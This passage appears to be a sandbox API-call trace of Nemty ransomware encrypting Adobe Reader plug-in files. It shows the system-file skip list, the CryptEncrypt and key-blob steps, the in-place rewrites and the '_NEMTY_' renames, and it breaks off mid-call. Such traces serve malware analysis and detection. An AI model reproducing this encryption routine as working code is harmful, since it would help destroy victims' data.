[0190.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0190.548] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd063, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.api", cAlternateFileName="")) returned 1 [0190.548] lstrcmpiW (lpString1="eBook.api", lpString2=".") returned 1 [0190.548] lstrcmpiW (lpString1="eBook.api", lpString2="..") returned 1 [0190.548] lstrcmpiW (lpString1="eBook.api", lpString2="...") returned 1 [0190.548] lstrcmpiW (lpString1="eBook.api", lpString2="windows") returned -1 [0190.548] lstrcmpiW (lpString1="eBook.api", lpString2="$RECYCLE.BIN") returned 1 [0190.548] lstrcmpiW (lpString1="eBook.api", lpString2="rsa") returned -1 [0190.549] lstrcmpiW (lpString1="eBook.api", lpString2="NTDETECT.COM") returned -1 [0190.549] lstrcmpiW (lpString1="eBook.api", lpString2="ntldr") returned -1 [0190.549] lstrcmpiW (lpString1="eBook.api", lpString2="MSDOS.SYS") returned -1 [0190.549] lstrcmpiW (lpString1="eBook.api", lpString2="IO.SYS") returned -1 [0190.549] lstrcmpiW (lpString1="eBook.api", lpString2="boot.ini") returned 1 [0190.549] lstrcmpiW (lpString1="eBook.api", lpString2="boot.ini") returned 1 [0190.549] lstrcmpiW (lpString1="eBook.api", lpString2="AUTOEXEC.BAT") returned 1 [0190.549] lstrcmpiW (lpString1="eBook.api", lpString2="ntuser.dat") returned -1 [0190.549] lstrcmpiW (lpString1="eBook.api", lpString2="desktop.ini") returned 1 [0190.549] lstrcmpiW (lpString1="eBook.api", lpString2="CONFIG.SYS") returned 1 [0190.549] lstrcmpiW (lpString1="eBook.api", lpString2="RECYCLER") returned -1 [0190.549] lstrcmpiW (lpString1="eBook.api", lpString2="BOOTSECT.BAK") returned 1 [0190.549] lstrcmpiW (lpString1="eBook.api", lpString2="bootmgr") returned 1 [0190.549] lstrcmpiW (lpString1="eBook.api", lpString2="programdata") returned -1 [0190.549] lstrcmpiW (lpString1="eBook.api", lpString2="appdata") returned 1 [0190.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.api", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.api", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.api", lpUsedDefaultChar=0x0) returned 9 [0190.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.api", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.api", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.api", lpUsedDefaultChar=0x0) returned 9 [0190.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.api", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.api", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.api", lpUsedDefaultChar=0x0) returned 9 [0190.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.api", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.api", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.api", lpUsedDefaultChar=0x0) returned 9 [0190.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0190.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0190.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0190.550] Sleep (dwMilliseconds=0x5) [0190.552] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x25398050, dwHighDateTime=0x1d561e8)) [0190.552] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x25398050, dwHighDateTime=0x1d561e8)) [0190.552] GetLastError () returned 0x0 [0190.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.552] GetLastError () returned 0x0 [0190.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.552] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0190.552] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0190.552] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0190.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0190.552] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="gF0dgc6VERE8aX3iV9RZIjrwo3mACZTlgGLDuAOZDo4RZmYYTgoZKColgBZbW2ON\r\nv5SkX/wmSBkykRn6E0a7L4HhgLRuYn3g10CTCoJVB7J+SmvitwsDJ3GaxN5UkWUT\r\nhjQO7gfqmbHoVYUoYYbK8wv+aKHoHibxyN+/qdg6cDgDck0P3bcjzeyvO2Qf+OhY\r\nwffU30dGDcz+ghivMuArgLGkPmnj1r2DGqaZzgsfneue2uuJn89zeWtBEfQYmrzC\r\nKOXmfZhjOB0fbpdVP4TQNTHxxdjF9EZ7K5T1MUsGyjn6f4Z3YcY8lwrRsn+EAmpw\r\n8pPlcRsZGppu0q6AWGKWOw==\r\n", pcchString=0x653e91c) returned 1 [0190.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0190.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0190.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.553] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\eBook.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ebook.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0190.553] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=53347) returned 1 [0190.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd060) returned 0x6352c48 [0190.553] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.553] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xd060, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0xd060, lpOverlapped=0x0) returned 1 [0190.558] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.558] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xd060, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0xd060, lpOverlapped=0x0) returned 1 [0190.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.558] SetFilePointer (in: hFile=0x254, lDistanceToMove=53347, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd063 [0190.558] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0190.559] CloseHandle (hObject=0x254) returned 1 [0190.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0190.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0190.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0190.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0190.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.559] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\eBook.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ebook.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\eBook.api._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ebook.api._nemty_kgobjgd_")) returned 1 [0190.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0190.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0190.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0190.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0190.560] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e2b880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ab863, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.api", cAlternateFileName="")) returned 1 [0190.560] lstrcmpiW (lpString1="EScript.api", lpString2=".") returned 1 [0190.560] lstrcmpiW (lpString1="EScript.api", lpString2="..") returned 1 [0190.560] lstrcmpiW (lpString1="EScript.api", lpString2="...") returned 1 [0190.560] lstrcmpiW (lpString1="EScript.api", lpString2="windows") returned -1 [0190.560] lstrcmpiW (lpString1="EScript.api", lpString2="$RECYCLE.BIN") returned 1 [0190.560] lstrcmpiW (lpString1="EScript.api", lpString2="rsa") returned -1 [0190.560] lstrcmpiW (lpString1="EScript.api", lpString2="NTDETECT.COM") returned -1 [0190.560] lstrcmpiW (lpString1="EScript.api", lpString2="ntldr") returned -1 [0190.560] lstrcmpiW (lpString1="EScript.api", lpString2="MSDOS.SYS") returned -1 [0190.560] lstrcmpiW (lpString1="EScript.api", lpString2="IO.SYS") returned -1 [0190.560] lstrcmpiW (lpString1="EScript.api", lpString2="boot.ini") returned 1 [0190.560] lstrcmpiW (lpString1="EScript.api", lpString2="boot.ini") returned 1 [0190.560] lstrcmpiW (lpString1="EScript.api", lpString2="AUTOEXEC.BAT") returned 1 [0190.560] lstrcmpiW (lpString1="EScript.api", lpString2="ntuser.dat") returned -1 [0190.560] lstrcmpiW (lpString1="EScript.api", lpString2="desktop.ini") returned 1 [0190.560] lstrcmpiW (lpString1="EScript.api", lpString2="CONFIG.SYS") returned 1 [0190.560] lstrcmpiW (lpString1="EScript.api", lpString2="RECYCLER") returned -1 [0190.560] lstrcmpiW (lpString1="EScript.api", lpString2="BOOTSECT.BAK") returned 1 [0190.560] lstrcmpiW (lpString1="EScript.api", lpString2="bootmgr") returned 1 [0190.560] lstrcmpiW (lpString1="EScript.api", lpString2="programdata") returned -1 [0190.560] lstrcmpiW (lpString1="EScript.api", lpString2="appdata") returned 1 [0190.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.api", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0190.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.api", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.api", lpUsedDefaultChar=0x0) returned 11 [0190.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.api", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0190.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.api", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.api", lpUsedDefaultChar=0x0) returned 11 [0190.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.api", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0190.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.api", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.api", lpUsedDefaultChar=0x0) returned 11 [0190.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.api", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0190.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.api", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.api", lpUsedDefaultChar=0x0) returned 11 [0190.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0190.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0190.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0190.561] Sleep (dwMilliseconds=0x5) [0190.567] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x253be1b0, dwHighDateTime=0x1d561e8)) [0190.567] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x253be1b0, dwHighDateTime=0x1d561e8)) [0190.567] GetLastError () returned 0x0 [0190.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.568] GetLastError () returned 0x0 [0190.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.568] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0190.568] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0190.568] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0190.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0190.568] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="8eEyQsh/z86QeBDCpWJR+H0W1CvhKG4/abSaG0gvH0fswfEouLAh70nF2vJ+jaxx\r\nMDG6ZmcK4KCABHJd6NeaPJEDhkbNiK8vUobzA0gVrbfn1RsBdsg2GHqY6PZSTx5X\r\ngG6RRAMIwrvqF+0CyCnzuhkp7f6LsAtnkFCkIEy9mv5oUfqMwNFJmau7D4D234Id\r\nw/tkVAPaFRUqrufJiyxRDU0eBgK2KzWjD85hA+g+dF4WyPtTZxga5piImF0bkIyw\r\nTZGnSnQpP2VzGGDDZZHu91cLbPKHbWsLUeKP/lSZngARfjOynaLNVoibSkziBL07\r\n+1x2nGHzinfKLSyT5yVUSQ==\r\n", pcchString=0x653e91c) returned 1 [0190.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0190.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0190.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.568] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\EScript.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\escript.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0190.569] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=1751139) returned 1 [0190.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0190.569] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.569] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0190.578] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.579] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0190.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.579] SetFilePointer (in: hFile=0x254, lDistanceToMove=1751139, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ab863 [0190.579] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0190.581] CloseHandle (hObject=0x254) returned 1 [0190.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0190.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0190.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0190.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0190.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.587] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\EScript.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\escript.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\EScript.api._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\escript.api._nemty_kgobjgd_")) returned 1 [0190.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0190.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0190.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.588] HeapFree (in: 